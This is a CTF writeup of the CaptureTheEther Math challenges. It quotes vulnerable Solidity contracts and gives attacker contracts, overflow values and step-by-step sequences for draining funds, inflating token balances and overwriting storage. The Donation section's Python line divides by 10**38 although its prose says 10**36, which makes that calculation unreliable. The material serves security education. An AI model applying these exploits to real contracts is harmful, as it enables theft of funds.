Solving CaptureTheEther - Part 3 of 5 - Math

Third post for the CaptureTheEther CTF writeups. Now the focus is on mathematical functions.

Most vulnerabilities in this category require manipulation of math operations that can overflow, and use that flaw as a step towards solving the challenges.

Prior to Solidity version 0.8.0, the result of mathematical operations was not checked for overflow. One of the implications of that behaviour is that a+b, for a and b unsigned ints with n bits, could give as a result a value lower than a or b due to the impossibility of storing more than n bits in the result. Similar results would happen with multiplication. More information on integer overflows can be found at Wikipedia or in academic bibliography.

These challenges mostly work because they were compiled with an old Solidity version. I would recommend you to check the changelogs and the breaking changes section of Solidity documentation for each new compiler version.

Let's solve these challenges!

Token sale

This level implements a contract that allows the user to buy or sell tokens at a fixed price of 1 ether per token. The goal is to manipulate the implementation in order to take some ether away from the contract.

Contract analysis

As with most of the CaptureTheEther challenges, there are some administrative functions (such as the constructor and isComplete()) that are not part of the level's vulnerable code. Let's focus on the relevant parts of the contract:

 1pragma solidity ^0.4.21;
 2
 3contract TokenSaleChallenge {
 4    mapping(address => uint256) public balanceOf;
 5    uint256 constant PRICE_PER_TOKEN = 1 ether;
 6
 7    function buy(uint256 numTokens) public payable {
 8        require(msg.value == numTokens * PRICE_PER_TOKEN);
 9
10        balanceOf[msg.sender] += numTokens;
11    }
12
13    function sell(uint256 numTokens) public {
14        require(balanceOf[msg.sender] >= numTokens);
15
16        balanceOf[msg.sender] -= numTokens;
17        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
18    }
19}

The compiler version used does not check for overflows, and there's no SafeMath library used.

The constant PRICE_PER_TOKEN equals 1 ether. This is a shorthand notation in Solidity to write 10**18, since all the ether amounts are expressed in wei, the smallest submultiple of the ether unit.

Vulnerability / Attack vector

There's an integer overflow by means of a user-supplied value in buy(uint256). The numTokens value can be high enough to meet the require condition with a lower value than expected, which means that the user can buy tokens at a discounted price.

Solution

Let's focus in the buy(uint256) function first, there's a requirement that the value sent with the transaction must be equal to the argument passed to the function, multiplied by PRICE_PER_TOKEN -- So, if you want to buy 1 token, you have to call buy(1) and send 1 * 10**18 wei as value. As said before, the problem lies in the fact that the numTokens argument value is directly controlled by the user, and can be set in such a way to trigger an overflow.

In line 8, the product of the two uint256 (numTokens and the constant 10**18) can overflow if numTokens is greater than $(2^{256}-1) / 10^{18}$ or approximately $1.1579 \times 10^{59}$.

So, as stated before, the first number that will cause an overflow is $\frac{2^{256}-1}{10^{18}} + 1$. If this succeeds, the user will have that amount of tokens. To meet the requirements of line 8, we need to calculate what should be the correct value to send with the transaction, that is, how much ether are we paying for this insane amount of tokens. The division result will not be an integer, since $10 = 2 \times 5$ and there are not enough factors of 5 in $2^{256} - 1$. However, Solidity will round it to an integer.

If you're interested, the value for numTokens should be 115792089237316203707617735395386539918674240093853421928449, easily calculated by this short Python script:

1numTokens = ((2**256-1)//(10**18) + 1)

The correct msg.value can be calculated as the amount that overflows from the previous result. That is 415992086870360064 (or approximately 0.415 ether), as calculated by:

1numTokens = ((2**256-1)//(10**18) + 1)
2PRICE_PER_TOKEN = 10**18
3
4msgvalue = (numTokens * PRICE_PER_TOKEN) % 2**256

The relevant part of the attacker contract I used:

 1contract CTE_TokenSaleSolve {
 2    address private targetContract = DEPLOYED_CONTRACT_ADDRESS;
 3    TokenSaleChallenge target;
 4    
 5    constructor() public payable {
 6        owner = msg.sender;
 7        target = TokenSaleChallenge(targetContract);
 8    }
 9        
10    function attack() public payable {
11        uint256 amount = (uint256(-1)/10**18) +1;
12        target.buy.value(415992086870360064)(amount);
13    }
14    
15    function solveChallenge(uint256 amount) public payable {
16        target.sell(amount);
17    }
18}

After calling attack(), the target contract's ether balance will be 1 ether plus the msg.value sent in the transaction, that is approximately 1.4159 ether. The token balance for the attacker will be high enough, so the only step left to solve the challenge is to call solveChallenge(uint256) with an argument of 1, so the contract balance falls below 1 ether and meets the conditions for the isComplete() function.

Note that you will effectively lose ~0.415 ether that will be locked in the contract.

Conclusions

Even though this is the first challenge in the category, it's quite clear how mishandled overflows in math operations can be used to drain contracts or to allow users to withdraw more ether than they're allowed to.

Always use SafeMath library if for some reason you're not using Solidity version 0.8 or higher.

Token Whale

This challenge introduces an ERC-20 token, of which only 1000 were minted to the player. The goal is to have more than 1000000 tokens.

Contract analysis

The contract implements the Simple ERC-20 Token (SET). Even though it does not inherit from any ERC-20 standard interface, it implements the basic functions needed to meet the requirements.

 1pragma solidity ^0.4.21;
 2
 3contract TokenWhaleChallenge {
 4    address player;
 5
 6    uint256 public totalSupply;
 7    mapping(address => uint256) public balanceOf;
 8    mapping(address => mapping(address => uint256)) public allowance;
 9
10    string public name = "Simple ERC20 Token";
11    string public symbol = "SET";
12    uint8 public decimals = 18;
13
14    function TokenWhaleChallenge(address _player) public {
15        player = _player;
16        totalSupply = 1000;
17        balanceOf[player] = 1000;
18    }
19
20    function isComplete() public view returns (bool) {
21        return balanceOf[player] >= 1000000;
22    }
23
24    event Transfer(address indexed from, address indexed to, uint256 value);
25
26    function _transfer(address to, uint256 value) internal {
27        balanceOf[msg.sender] -= value;
28        balanceOf[to] += value;
29
30        emit Transfer(msg.sender, to, value);
31    }
32
33    function transfer(address to, uint256 value) public {
34        require(balanceOf[msg.sender] >= value);
35        require(balanceOf[to] + value >= balanceOf[to]);
36
37        _transfer(to, value);
38    }
39
40    event Approval(address indexed owner, address indexed spender, uint256 value);
41
42    function approve(address spender, uint256 value) public {
43        allowance[msg.sender][spender] = value;
44        emit Approval(msg.sender, spender, value);
45    }
46
47    function transferFrom(address from, address to, uint256 value) public {
48        require(balanceOf[from] >= value);
49        require(balanceOf[to] + value >= balanceOf[to]);
50        require(allowance[from][msg.sender] >= value);
51
52        allowance[from][msg.sender] -= value;
53        _transfer(to, value);
54    }
55}

Taking a look at the implemented functions, there's no way to mint new tokens. All supply is 1000, and they're allocated to the player account. There should be an unexpected way to generate more than a million tokens, and the solution involves an overflow.

There are two public functions that handle token transfers: transfer(address, uint256) and transferFrom(address, address, uint256). Both of them check that balances are enough, and allowances if applicable. After validating the inputs, they both call the internal function _transfer(address, uint256) that performs the actual balance manipulation. Events are emitted on approvals and on transfers.

The isComplete() function checks for the token balance on the player's address to be at least one million.

Vulnerability / Attack vector

This challenge has two main flaws:

• The _transfer(address, uint256) function always transfers from msg.sender to the address specified as argument, not checking if the call comes from transfer(address, uint256) or transferFrom(address, address, uint256).
• There's an integer overflow in calling _transfer(address, uint256) via transferFrom(address, address, uint256), because the balance of msg.sender is never checked.

Solution

There's no need to deploy any contracts to solve this challenge. The solution lies in using both flaws and a temporary account to manipulate the player's account balance.

In the solution steps, PLAYER is the account with the 1000 initial tokens, and STORAGE is a temporary account with no balance:

• Send all balance (1000 tokens) from PLAYER to STORAGE calling transfer(STORAGE, 1000) from PLAYER account.
• Approve PLAYER from STORAGE to spend tokens on its behalf, calling approve(PLAYER, 1000) from STORAGE account.
• Transfer any amount of tokens from STORAGE to STORAGE, calling transferFrom(STORAGE, STORAGE, 1) from PLAYER account.

So, the fact that _transfer(address, uint256) always subtracts from msg.sender makes this last call subtract from an empty account without any checks for overflow. That will leave the PLAYER account with an insane amount of tokens, well above the 1000000 needed.

Conclusions

This is a subtle bug that has the potential of breaking the token balances, even with no function available to mint. If this happened on a real-life token, the player effectively created money out of nothing.

As with all other levels, it's important to use SafeMath or a new version of Solidity.

Retirement fund

This challenge shows an implementation of a commitment device. That is, a contract that forces the owner to hold on to a commitment of ether for a specified time, or punishes him for withdrawing his commitment early.

The commitment in this particular level is of 1 ether for 10 years, and the punishment is 10% of the balance, that is 0.1 ether, that goes to the beneficiary (the player) in case of an early withdrawal. The goal is to empty the contract without waiting for the 10 years.

Contract analysis

The contract, upon deployment, sets the player's account as the beneficiary and the account that deploys as the owner. This owner account is actually a CaptureTheEther contract, and thus we have no way to create a transaction whose origin is the owner. That makes it impossible to call withdraw().

The only function left to be called is collectPenalty(), that expects to be called from the beneficiary. However there's a check that requires startBalance - address(this).balance to be greater than zero. This check is supposed to be true only if the owner withdrew before the expiration period.

 1pragma solidity ^0.4.21;
 2
 3contract RetirementFundChallenge {
 4    uint256 startBalance;
 5    address owner = msg.sender;
 6    address beneficiary;
 7    uint256 expiration = now + 10 years;
 8
 9    function RetirementFundChallenge(address player) public payable {
10        require(msg.value == 1 ether);
11
12        beneficiary = player;
13        startBalance = msg.value;
14    }
15
16    function isComplete() public view returns (bool) {
17        return address(this).balance == 0;
18    }
19
20    function withdraw() public {
21        require(msg.sender == owner);
22
23        if (now < expiration) {
24            // early withdrawal incurs a 10% penalty
25            msg.sender.transfer(address(this).balance * 9 / 10);
26        } else {
27            msg.sender.transfer(address(this).balance);
28        }
29    }
30
31    function collectPenalty() public {
32        require(msg.sender == beneficiary);
33
34        uint256 withdrawn = startBalance - address(this).balance;
35
36        // an early withdrawal occurred
37        require(withdrawn > 0);
38
39        // penalty is what's left
40        msg.sender.transfer(address(this).balance);
41    }
42}

Vulnerability / Attack vector

There's no overflow in this contract, but the flaw still lies in a mathematical operation.

The requirement that startBalance - address(this).balance must be greater than zero could mean:

• The owner withdrew earlier from his commitment
• Somehow the balance of the contract is manipulated by sending ether from an external account.

Solution

The contract has no payable fallback or receive function, so it is not possible to send ether to it. Technically speaking, as there are no payable functions (besides the constructor), the contract is not able to receive ether coming as msg.value.

However, there are two ways that a contract can be forced to receive ether even if it has no payable functions:

• Being the coinbase of a mined block, receiving the rewards for the mining.
• Being the target of a SELFDESTRUCT instruction.

SELFDESTRUCT is, according to documentation, a function that destroys the current contract and sends the balance to an address designated as recipient. This operation does not trigger the receive or fallback functions of the recipient.

The solution is to create a new contract, fund it with some ether -- any amount is fine, and then destroy it calling selfdestruct(address). The argument to this function should be the address of the deployed challenge contract.

The relevant parts of the contract I used to solve the level:

 1contract CTE_RetirementFundSolve {
 2    
 3    address private targetContract = DEPLOYED_CONTRACT_ADDRESS;
 4    
 5    function CTE_RetirementFundSolve() public payable { }
 6    
 7    function() public payable { }
 8    
 9    function solve() public {
10        require(address(this).balance > 0, "Not enough balance");
11        selfdestruct(targetContract);
12    }   
13}

Conclusions

The moral of this level is to never assume that the contract balance is immutable if there are no payable functions. That means not to use address(this).balance for accounting, it should be done by tracking payments and deposits.

Mapping

This challenge shows an array used as a mapping. These types are different, and therefore used for different storage needs.

Contract analysis

The implementation is short, with only two public functions: set(uint256, uint256) and get(uint256).

 1pragma solidity ^0.4.21;
 2
 3contract MappingChallenge {
 4    bool public isComplete;
 5    uint256[] map;
 6
 7    function set(uint256 key, uint256 value) public {
 8        // Expand dynamic array as needed
 9        if (map.length <= key) {
10            map.length = key + 1;
11        }
12
13        map[key] = value;
14    }
15
16    function get(uint256 key) public view returns (uint256) {
17        return map[key];
18    }
19}

There's a bool isComplete variable that indicates if the level has been solved, and since it has no value assigned, it defaults to false. The goal is to somehow set it to true.

Vulnerability / Attack vector

The management of the array length is prone to errors. This behaviour has been changed in newer Solidity versions, and it's no longer possible to manually assign to an array length.

Solution

According to Solidity dynamic array storage layout, if the array is at slot n, the first element (that is, the element with index 0 of the array) will be stored at keccak256(n), the next element at keccak256(n)+1, and so on. In the challenge contract, the bool isComplete variable is at slot 0 and the map array at slot 1, hence the array element with index 0 is at storage slot keccak256(1) –- that is 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6.

The goal is to write to slot 0, to overwrite the bool isComplete variable. Manipulating the array position to write to, it is possible to access every storage slot, so the slot 0 is accessible by setting the value of a particular array index. To calculate that index, we have to make keccak256(n)+t = 0, where n is the storage slot of the array itself, and t is the index needed to access the slot 0 of the contract. Since these values are uint256 and the addition can overflow, it's easy to see that t = 2**256 - keccak256(n), or 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a.

To solve the level, call set(0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a, 1) to overwrite the bool isComplete flag.

Conclusions

In older Solidity versions it was easy to gain full access to the contract storage by writing to the array length, or by overwriting the array storage slot. Once the array length is modified, the index of the array can be used to overwrite other storage slots.

Donation

This level implements a contract receiving donations for a candidate, where anyone can donate any amount of ether. The goal is to empty all donated ether from the contract.

Contract analysis

The contract implements a struct Donation array to keep track of all donations and their timestamps. The owner of the contract is the deployer account, allegedly controlled by the candidate.

 1pragma solidity ^0.4.21;
 2
 3contract DonationChallenge {
 4    struct Donation {
 5        uint256 timestamp;
 6        uint256 etherAmount;
 7    }
 8    Donation[] public donations;
 9
10    address public owner;
11
12    function DonationChallenge() public payable {
13        require(msg.value == 1 ether);
14        
15        owner = msg.sender;
16    }
17    
18    function isComplete() public view returns (bool) {
19        return address(this).balance == 0;
20    }
21
22    function donate(uint256 etherAmount) public payable {
23        // amount is in ether, but msg.value is in wei
24        uint256 scale = 10**18 * 1 ether;
25        require(msg.value == etherAmount / scale);
26
27        Donation donation;
28        donation.timestamp = now;
29        donation.etherAmount = etherAmount;
30
31        donations.push(donation);
32    }
33
34    function withdraw() public {
35        require(msg.sender == owner);
36        
37        msg.sender.transfer(address(this).balance);
38    }
39}

The donate(uint256) function receives ether, checks the donation's ether value to be consistent with the etherAmount argument, and pushes a new struct Donation to the donations array.

The withdraw() function can only be called by the owner, and allows him to retrieve all donations.

Vulnerability / Attack vector

The donation variable at line 27 is an uninitialized reference to a struct Donation, that by default references storage slot 0.

The code at lines 24-25 does not do what the comment states.

Solution

The storage layout for this contract is as follows:

• Slot 0: Donation[] donations
• Slot 1: address owner

The uninitialized reference at line 27 will overwrite slot 0 with now (also known as block.timestamp in new compiler versions), and slot 1 with etherAmount. This means we can change the contract owner to any value, including a player-controlled EOA.

To be able to overwrite the owner, the require at line 25 should succeed. That means that the msg.value passed in the call to donate(uint256) should be calculated from etherAmount (that is, the new owner address).

Now, because of the second attack vector mentioned before, scale actually holds the constant value 10**36, because 1 ether equals to 10**18 and this value is multiplied by 10**18. So the correct value for msg.value is the result of the integer division of the new owner address by 10**36.

This Python script calculates the msg.value to be sent, depending on the new owner's address:

1new_owner = ADDRESS
2print(new_owner // 10**38)

Conclusions

Uninitialized references to storage are dangerous. All references should be initialized, as newer Solidity versions won't compile contracts with uninitialized storage pointers.

Fifty years

The last challenge of the Math category implements a contract that locks the initial ether deposit for 50 years, and every new deposit is locked for longer than the previous one.

The solution is easy, as told in the level description: you just have to wait for the 50 years and withdraw. Maybe there's a quicker one.

(This is the contract that gives most points upon completion in the whole game, this one is expected to be harder than average.)

Contract analysis

It's a quite long contract that defines a struct Contribution and an array of contributions; and an owner that gets assigned to the player address in the constructor. In addition, there's a uint256 head variable.

 1pragma solidity ^0.4.21;
 2
 3contract FiftyYearsChallenge {
 4    struct Contribution {
 5        uint256 amount;
 6        uint256 unlockTimestamp;
 7    }
 8    Contribution[] queue;
 9    uint256 head;
10
11    address owner;
12    function FiftyYearsChallenge(address player) public payable {
13        require(msg.value == 1 ether);
14
15        owner = player;
16        queue.push(Contribution(msg.value, now + 50 years));
17    }
18
19    function isComplete() public view returns (bool) {
20        return address(this).balance == 0;
21    }
22
23    function upsert(uint256 index, uint256 timestamp) public payable {
24        require(msg.sender == owner);
25
26        if (index >= head && index < queue.length) {
27            // Update existing contribution amount without updating timestamp.
28            Contribution storage contribution = queue[index];
29            contribution.amount += msg.value;
30        } else {
31            // Append a new contribution. Require that each contribution unlock
32            // at least 1 day after the previous one.
33            require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
34
35            contribution.amount = msg.value;
36            contribution.unlockTimestamp = timestamp;
37            queue.push(contribution);
38        }
39    }
40
41    function withdraw(uint256 index) public {
42        require(msg.sender == owner);
43        require(now >= queue[index].unlockTimestamp);
44
45        // Withdraw this and any earlier contributions.
46        uint256 total = 0;
47        for (uint256 i = head; i <= index; i++) {
48            total += queue[i].amount;
49
50            // Reclaim storage.
51            delete queue[i];
52        }
53
54        // Move the head of the queue forward so we don't have to loop over
55        // already-withdrawn contributions.
56        head = index + 1;
57
58        msg.sender.transfer(total);
59    }
60}

The upsert(uint256, uint256) function allows the owner to update or append a new contribution, while the withdraw(uint256) function allows the owner to withdraw the contribution index and all previous ones, given that the lock period is over.

Vulnerability / Attack vector

There are at least two flaws here:

• Uninitialized reference to storage at line 35 (in the whole else block, contribution is not initialized).
• Potential overflow in line 33 (unlockTimestamp + 1 days).

Solution

The first flaw allows us to overwrite the storage slots 0 and 1, that is uint256 queue.length and uint256 head.

The withdraw function checks for the solicited index deposit’s unlockTimestamp, and if it is less than now, it allows the withdrawal. It goes from head to the index argument, sums all the deposits amounts, and transfers the total to msg.sender (which is required to be the player).

The full attack sequence goes like this:

• Make a transaction that calls upsert(uint256, uint256), taking the else path. This transaction should have a msg.value that will overwrite queue.length(adding positions that are empty) and a timestamp parameter that will end up overwriting the head variable. However, this timestamp should be an exact value that causes an overflow when added to 1 days. The values used were 3 (wei) for msg.value, 1 for index and 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeae80 for timestamp.
• At this point, the last queue element’s timestamp is ready to cause an overflow in the next transaction, as stated in the second flaw of the contract.
• This following transaction should repair the damage caused previously, that is, it should restore head variable to 0, so when withdraw(uint256) is called, it is possible to recover the ether deposited upon contract creation. So, this transaction should have msg.value equal to 1+(previous tx msg.value) and timestamp equal to 0. This will go through, because the previous timestamp will overflow. The values used were 4 (wei) for msg.value, 4 for index, and 0 for timestamp.
• Now queue.length is correct, head too, and queue[LAST].unlockTimestamp equal to 0. In theory, calling withdraw(4) will recover all the funds transferred. Will it?
• Actually, the amount of ether transferred to the contract up to this point is 1 ether + 3 wei + 4 wei. However, the upsert(uint256, uint256) calls pushed 4 and 5 as amounts, so we’re 2 wei behind. The withdraw(uint256) call will fail because there’s not enough ether in the contract to send.
• To solve this problem and finish the challenge, we can send the 2 wei via the selfdestruct method used in the Retirement Fund contract. Now the withdraw will not fail, and the challenge will be completed.

Conclusions

Congratulations, you just earned 2000 points by chaining exploits for multiple vulnerabilities in this contract. Most real-life exploits are combinations of several flaws and mistakes, and the solutions require a lot of critical thinking to find them.